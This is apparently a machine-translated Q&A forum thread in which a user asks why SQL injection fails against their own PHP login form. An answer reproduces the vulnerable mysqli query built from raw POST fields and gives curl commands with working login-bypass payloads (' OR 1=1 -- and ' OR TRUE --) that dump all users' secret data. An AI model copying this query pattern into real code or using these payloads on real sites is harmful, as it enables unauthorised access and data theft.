2015-12-15 6 views
0

Я пытаюсь обойти форму входа, используя SQL-инъекцию (кстати, это моя собственная форма).SQL Injection не работает над уязвимым кодом

Но методы, которые я пробовал просто вернуть мое сообщение об ошибке «недействительные данные для входа»

Может кто-нибудь сказать мне, что я могу сделать?

$email = $_POST['email']; 

$password = $_POST['password']; 

$query = mysqli_query ($db, "SELECT * FROM clients WHERE email = '$email' AND password = '$password'"); 

Я попытался добавить 'or TRUE-- в поле электронной почты, который от того, насколько я знаю, должен завершить запрос после -

Я пробовал много других примеров из:

http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html

Но никто не работает.

Я понимаю, что на примерах в ссылке он не использует mysqli, но почему это так сильно повлияет?

+0

Вы пропустили пробел между ' 'и' or'. – developerwjk

+0

Это не меняет его, я все равно получаю недопустимое сообщение – drew

+0

Попробуйте его вместо пароля. А поскольку в последнем из предложения where вам не нужен '--'. – developerwjk

ответ

0

Учитывая следующую структуру таблицы

CREATE TABLE `clients` (
    `id` int(11) unsigned NOT NULL AUTO_INCREMENT, 
    `email` varchar(100) NOT NULL, 
    `password` varbinary(100) NOT NULL, 
    `secretData` varchar(20) DEFAULT NULL, 
    PRIMARY KEY (`id`) 
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1 

Со следующими данными в нем

INSERT INTO `clients` (`email`,`password`) 
VALUES 
("[email protected]","aadsf345"), ("[email protected]","536734sdgf"), 
("[email protected]","password123"), ("[email protected]","{}[email protected]#$>,ZX"); 

И ваш уязвимый код PHP, который будет выбрать пользователя на основе его/ее электронной почты и пароля комбинации и отображения строка в колонке secretData

$db = new mysqli("localhost", "root", "", "test"); 

$email = $_POST['email']; 
$pass = $_POST['password']; 

$sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'"; 

if ($result = $db->query($sql)) { 
    while($obj = $result->fetch_object()){ 
     print $obj->secretData . PHP_EOL; 
    } 
} 
else{ 
    print "no result"; 
} 

A успешные Войти будет выглядеть следующим образом, показывая секретных данные Боба

$ curl -d '[email protected]&password=aadsf345' http://localhost.com 
aaaaa 

Хотя успешная инъекция будет выглядеть следующим образом, отображение должного секретных данные

$ curl -d '[email protected]&password=aads%27+OR+1=1+--+' http://localhost.com 
aaaaa 
bbbbb 
ccccc 
ddddd 

Если вы должны были распечатать нагнетаемый запрос, нашу инъекцию начинается с маркера, с %27, который является отдельной цитатой.

SELECT * FROM clients WHERE email = '[email protected]' AND password = 'aads' OR 1=1 -- ' 
                     ^

Использование OR TRUE работ, а

curl -d '[email protected]&password=aads%27+OR+TRUE+--+' http://localhost.com 
Смежные вопросы